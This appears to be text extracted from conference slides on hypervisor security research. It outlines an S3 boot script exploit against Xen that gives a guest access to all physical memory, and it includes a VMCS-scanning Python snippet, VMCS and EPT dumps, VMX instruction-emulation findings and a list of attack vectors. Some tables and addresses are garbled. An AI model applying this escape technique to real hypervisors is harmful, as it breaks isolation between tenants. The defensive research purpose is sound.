  - ASAN
- Input generators:
  - AFL: TriforceAFL
- Tracer:
  - Process Tracer: Go Speed Tracer
Using S3 bootscript vulnerability as hypervisor investigation tool

Xen Hypervisor

Privileged PV guest (Dom0)

Exploit

VM modifies S3 boot script table in memory

Upon resume, firmware executes rogue S3 script

Platform PEI

BDS

DXE

UEFI core & drivers

S3 Boot Script Table

Restores hardware config

Script Engine

0xDBAA4000

Xen exposes S3 boot script table to Dom0
Attacker VM reads entire HPA space

1. Exploited S3 bootscript searches & modifies VM’s VMCS(B), VMM page tables

2. Exploited S3 bootscript added page table entries to attacker VM which expose entire physical memory

Now attacker VM has full access to physical memory of VMM and other VMs
VMCS, MSR and I/O bitmaps.

```python
def find_vmcs(self, par):
    vmcs_list = []
    revisionid = self.cs.msr.read_msr(0, 0x480)[0]
    revid = struct.pack('<L', revisionid) + (28 * '\x00')
    for (pa, end_pa) in par:
        while pa < end_pa:
            if self.cs.mem.read_physical_mem(pa, 32) == revid:
                vmcs = {'ADDR': pa}
```

RD MSR Bitmap (doesn't cause a VM exit):
0x00000174
0x00000175
0x00000176
0x00000100
0x000000101
0x00000002

WR MSR Bitmap (doesn't cause a VM exit):
0x000000174
0x00000175
0x00000176
0x000000100
0x000000101
0x00000002

IO Bitmap (causes a VM exit):
0x0020
0x0021
0x0064
0x00e0
0x00e1
0x0cf8
0x0cfc
0x0cf
0x0cf
0x00ff

CPU_BASED_VM_EXEC_CONTROL:
Bit 2: 0 Interrupt-window exiting
Bit 3: 1 Use TSC offsetting
Bit 7: 1HLT exiting
Bit 9: 0 INVLPG exiting
Bit 10: 1 Mwait exiting
Bit 11: 1 NOPMC exiting
Bit 12: 0 NDTSC exiting
Bit 15: 0 CR3-load exiting
Bit 16: 0 CR3-store exiting
Bit 19: 0 CR8-load exiting
Bit 20: 0 CR8-store exiting
Bit 21: 1 Use TPR shadow
Bit 22: 0 NMI-window exiting
Bit 23: 1 MOV-DR exiting
Bit 24: 0 Unconditional I/O exiting
Bit 25: 1 Use I/O bitmaps
Bit 27: 0 Monitor trap flag
Bit 28: 1 Use MSR bitmaps
Bit 29: 1 MONITOR exiting
Bit 30: 0 PAUSE exiting
Bit 31: 1 Activate secondary controls

SECONDARY_VM_EXEC_CONTROL:
Bit 0: 1 Virtualize APIC accesses
Bit 1: 1 Enable EPT
Bit 2: 1 Descriptor-table exiting
Bit 3: 1 Enable RDTS
Bit 4: 0 Virtualize x2APIC mode
Exploring hypervisors...

Tools to explore VMM hardware config

IOMMU:
  chipsec_util iommu

CPU VM extensions (EPT, virtio, hypercall):
  chipsec_util vmm
VMM Hardware Page Tables...

EPTP: 0x00000004c8000

PML4E: 0x00000004b1c000
PDPT: 0x00000004b1a000
PDE: 0x00000004b13000

PTE: 0x0000000000000000 - 4KB PAGE XWR GPA: 0x00000000000000
PTE: 0x0000000000002000 - 4KB PAGE XWR GPA: 0x000000000002000
PTE: 0x0000000000003000 - 4KB PAGE XWR GPA: 0x000000000003000
PTE: 0x0000000000004000 - 4KB PAGE XWR GPA: 0x000000000004000
PTE: 0x0000000000005000 - 4KB PAGE XWR GPA: 0x000000000005000
PTE: 0x0000000000006000 - 4KB PAGE XWR GPA: 0x000000000006000

EPT Host physical address ranges:
0x00000000000000 - 0x00000000000fff 1 XWR
0x0000000000002000 - 0x00000000000fff 155 XWR
0x000000000000c000 - 0x00000000000c7fff 8 XWR
0x000000000000c800 - 0x00000000000c9fff 1 XWR
0x00000000000ce000 - 0x00000000000cefff 1 XWR
0x000000000000e000 - 0x00000000000e192fff 179 XWR
0x000000000000e19500 - 0x000000000000e195fff 1 --R
0x000000000000e19600 - 0x000000000000e196fff 1 XWR
0x000000000000e198000 - 0x000000000000e198fff 2 XWR
0x000000000000e19e000 - 0x000000000000e1a3fff 6 XWR
0x000000000000e1a5000 - 0x000000000000e1c4fff 31 XWR
0x000000000000e1c8000 - 0x000000000000e1c8fff 1 XWR
0x000000000000e1cb000 - 0x000000000000e1dcfff 18 XWR
Hypervisor detection/fingerprinting
Intel VMX instructions

VMCALL

IF not in VMX operation
    THEN #UD;
ELSIF in VMX non-root operation
    THEN VM exit;
ELSIF (RFLAGS.VM = 1) or (IA32_EFER.LMA = 1 and CS.L = 0)
    THEN #UD;
ELSIF CPL > 0
    THEN #GP(0);

VMCLEAR

IF (register operand) or (not in VMX operation) or (CR0.PE = 0) or (RFLAGS.VM = 1) or (IA32_EFER.LMA = 1 and CS.L = 0)
    THEN #UD;
ELSIF in VMX non-root operation
    THEN VM exit;
ELSIF CPL > 0
    THEN #GP(0);

IT DOESN’T METTER WHERE YOUR GUEST CALLS IT (R3 or R0) – VMX INSTRUCTION CAUSES VMEXIT
Intel VMX instructions. Xen

It’s a VMM responsibility to inject exception into guest on VMExit due to VMX instruction call.

Xen 4.4.2 x64

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>invept</td>
<td>#UD fault</td>
</tr>
<tr>
<td>invvpid</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmcall</td>
<td>NO EXCEPTION</td>
</tr>
<tr>
<td>vmclear</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmfunc</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmfunc</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmlaunch</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmptrld</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmptrrst</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmread</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmresume</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmwrite</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmxoff</td>
<td>#UD fault</td>
</tr>
<tr>
<td>vmxon</td>
<td>#UD fault</td>
</tr>
</tbody>
</table>

Windows x64 guest

User mode

Discovered by ATR.
Intel VMX instructions. Parallels for Mac

It’s a VMM responsibility to inject exception into guest on VMExit due to VMX instruction call.

Parallels Desktop 11 for Mac
Version 11.0.2 (31348)

Windows 7 x64 guest

User mode

Discovered by ATR.
Other issues with instruction emulation

- XRSTOR/FXRSTOR
- SYSENDER/IRET [1]
- XSETHV/SAVE
- VMLAUNCH/VMRESUME
- Fbld
- AVX/SSE instructions
- SVM instructions on Intel platform and VMX instruction on AMD platform
- CPUID instruction
Other attack vectors on Hypervisors
- Hardware specific: TLB, Interrupt Controller
- Hardware CPU specific erratum [1], [2]
- Rowhammer: [1], [2]
- Nested virtualization
- Issue related to CPU Ring 1, Ring 2
- Virtual-8086 / Real mode / Task-switches emulation
- APIC/Interrupts: NMI, IRQ, MSI
- IDT, Exceptions, GDT, Paging. For example not usual (weird) paging configuration [1]
- VMCS handling (CVE-2010-2938)
- Shared memory [1], [2]
- Multi-threads, double fetch vulnerability. For example xenpwn
• Vulnerabilities in device and CPU emulation are very common. Fuzz all HW interfaces
• Firmware interfaces/features may affect hypervisor security if exposed to VMs. Both need to be designed to be aware of each other
• Researchers keep finding dragons and drive awareness. Classes of issues start to disappear. Now we have tools – use them to fuzz your favorite hypervisor